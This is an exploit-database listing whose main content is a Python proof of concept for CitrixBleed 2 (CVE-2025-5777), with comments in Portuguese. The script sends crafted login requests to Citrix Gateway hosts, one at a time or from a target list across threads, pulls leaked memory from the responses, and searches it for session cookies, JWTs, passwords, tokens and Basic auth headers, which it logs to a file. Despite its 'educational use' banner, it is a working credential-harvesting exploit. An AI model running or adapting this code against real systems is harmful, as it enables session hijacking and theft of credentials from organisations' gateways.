Exploit databaseDownload repository ZIP
GH-f3788ae9288a013aeedd0fc722b86945
nocerainfosec/cve-2025-5777
Sources for CVE-2023-4966
15 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
nocerainfosec/cve-2025-5777Revision 62365e8fe118
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
poc/cve-2025-5777.py
Python · 7,951 bytes#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# -----------------------------------------------------------
# Exploração do CVE-2025-5777 (CitrixBleed 2)
# Script inspirado no original da WatchTowr e refeito por mim,
# Guilherme Nocera (@nocerainfosec) — uso educacional.
# -----------------------------------------------------------
import socket
import ssl
import argparse
import re
import threading
import os
from queue import Queue
from datetime import datetime
print(r"""
_________ .__ __ .__ __________.__ .___________
\_ ___ \|__|/ |________|__|__ __\______ \ | ____ ____ __| _/\_____ \
/ \ \/| \ __\_ __ \ \ \/ /| | _/ | _/ __ \_/ __ \ / __ | / ____/
\ \___| || | | | \/ |> < | | \ |_\ ___/\ ___// /_/ | / \
\______ /__||__| |__| |__/__/\_ \|______ /____/\___ >\___ >____ | \_______ \
\/ \/ \/ \/ \/ \/ \/
CVE-2025-5777 | CitrixBleed2 - NoceraInfosec
--------------------------------------------------------------------------------
Ferramenta de detecção e exploração de vazamento de memória em Citrix Gateway
Descoberta por WatchTowr | Recriada por Guilherme Nocera - @nocerainfosec
Uso restrito a fins educacionais e ambientes autorizados.
--------------------------------------------------------------------------------
""")
lock = threading.Lock()
regexes_sensiveis = {
"Cookies": re.compile(r"(Set-Cookie:\s*.+?;)", re.IGNORECASE),
"SessionID": re.compile(r"(sessionid=[a-zA-Z0-9\-_.]+)", re.IGNORECASE),
"JWT": re.compile(r"eyJ[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+"),
"Passwords": re.compile(r"(password=[^&\s]+)", re.IGNORECASE),
"Tokens": re.compile(r"(token=[a-zA-Z0-9\-_.]+)", re.IGNORECASE),
"Auth": re.compile(r"\"auth\" *: *\"[^\"]+\"", re.IGNORECASE),
"BasicAuth": re.compile(r"Authorization: Basic [a-zA-Z0-9=]+", re.IGNORECASE),
}
def calcular_entropia(data):
if not data:
return 0
import math
prob = [float(data.count(c)) / len(data) for c in set(data)]
ent = - sum([p * math.log2(p) for p in prob])
return ent
def extrair_info_certificado(cert):
subject = dict(x[0] for x in cert.get('subject', []))
issuer = dict(x[0] for x in cert.get('issuer', []))
not_before = cert.get('notBefore', 'N/A')
not_after = cert.get('notAfter', 'N/A')
return subject, issuer, not_before, not_after
def enviar_requisicao(alvo, tentativa, arquivo_saida, verbose=False):
context = ssl.create_default_context()
porta = 443
payload = b"login"
requisicao = (
f"POST /p/u/doAuthentication.do HTTP/1.0\r\n"
f"Host: {alvo}\r\n"
f"User-Agent: {'Nocera' * 12}\r\n"
f"Content-Length: {len(payload)}\r\n"
f"Connection: keep-alive\r\n"
f"\r\n"
).encode() + payload
try:
with socket.create_connection((alvo, porta), timeout=5) as sock:
with context.wrap_socket(sock, server_hostname=alvo) as ssock:
cert = ssock.getpeercert()
subject, issuer, not_before, not_after = extrair_info_certificado(cert)
with lock:
print(f"[■] {alvo} | Tentativa {tentativa} | Certificado TLS:")
print(f" Subject: {subject}")
print(f" Issuer: {issuer}")
print(f" Validade: {not_before} até {not_after}")
with open(arquivo_saida, "a", encoding="utf-8") as f:
f.write(f"{alvo} | Tentativa {tentativa} | Certificado TLS:\n")
f.write(f" Subject: {subject}\n")
f.write(f" Issuer: {issuer}\n")
f.write(f" Validade: {not_before} até {not_after}\n")
ssock.sendall(requisicao)
resposta = b""
while True:
chunk = ssock.recv(4096)
if not chunk:
break
resposta += chunk
corpo = resposta.decode(errors="ignore")
vazamentos = re.findall(r"<InitialValue>(.*?)</InitialValue>", corpo, re.DOTALL)
for leak in vazamentos:
limpo = leak.strip()
if limpo:
entropia = calcular_entropia(limpo)
with lock:
print(f"[+] {alvo} | Tentativa {tentativa} | Entropia: {entropia:.2f} | Leak: {repr(limpo[:80])}...")
with open(arquivo_saida, "a", encoding="utf-8") as f:
f.write(f"{alvo} | Tentativa {tentativa} | Entropia: {entropia:.2f} | Leak: {repr(limpo)}\n")
elif verbose:
print(f"[-] {alvo} | Tentativa {tentativa} vazamento vazio ou inválido.")
for tipo, regex in regexes_sensiveis.items():
encontrados = regex.findall(corpo)
for dado in encontrados:
dado_limpo = dado.strip()
if len(dado_limpo) > 5:
with lock:
print(f"[!] {alvo} | Tentativa {tentativa} | {tipo} encontrado: {dado_limpo[:80]}")
with open(arquivo_saida, "a", encoding="utf-8") as f:
f.write(f"{alvo} | Tentativa {tentativa} | {tipo}: {dado_limpo}\n")
except Exception as e:
if verbose:
print(f"[!] {alvo} | Tentativa {tentativa} erro: {e}")
def escanear_em_threads(alvos, repeticoes, threads, arquivo_saida, verbose):
fila = Queue()
for alvo in alvos:
for i in range(repeticoes):
fila.put((alvo, i+1))
def trabalhador():
while not fila.empty():
alvo, tentativa = fila.get()
enviar_requisicao(alvo, tentativa, arquivo_saida, verbose)
fila.task_done()
lista_threads = []
for _ in range(min(threads, len(alvos) * repeticoes)):
t = threading.Thread(target=trabalhador)
t.start()
lista_threads.append(t)
for t in lista_threads:
t.join()
def main():
parser = argparse.ArgumentParser(description="PoC Avançado do CitrixBleed2 (CVE-2025-5777) - Nocera Infosec")
parser.add_argument("-t", "--target", help="Alvo único (IP ou domínio)")
parser.add_argument("-l", "--list", help="Arquivo com lista de alvos")
parser.add_argument("-o", "--output", default=None, help="Arquivo de saída (timestamp automático se omitido)")
parser.add_argument("-r", "--repeat", type=int, default=3, help="Número de requisições por host")
parser.add_argument("-T", "--threads", type=int, default=5, help="Número de threads simultâneas")
parser.add_argument("-v", "--verbose", action="store_true", help="Modo detalhado (verbose)")
args = parser.parse_args()
if args.target and args.list:
print("[x] Erro: use -t (alvo único) ou -l (lista), não ambos.")
return
if not args.target and not args.list:
parser.print_help()
return
if args.output:
arquivo_saida = args.output
else:
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
arquivo_saida = f"citrix_leaks_{timestamp}.txt"
with open(arquivo_saida, "w", encoding="utf-8") as f:
f.write(f"# CitrixBleed2 - Vazamentos detectados em {datetime.now().isoformat()}\n")
if args.target:
alvos = [args.target.strip()]
else:
with open(args.list) as f:
alvos = [linha.strip() for linha in f if linha.strip()]
print(f"[•] Iniciando varredura em {len(alvos)} alvo(s), {args.repeat} requisição(ões) cada, {args.threads} thread(s)")
print(f"[•] Salvando resultados em: {arquivo_saida}")
escanear_em_threads(alvos, args.repeat, args.threads, arquivo_saida, args.verbose)
print(f"[✔] Finalizado. Vazamentos salvos em: {arquivo_saida}")
if __name__ == "__main__":
main()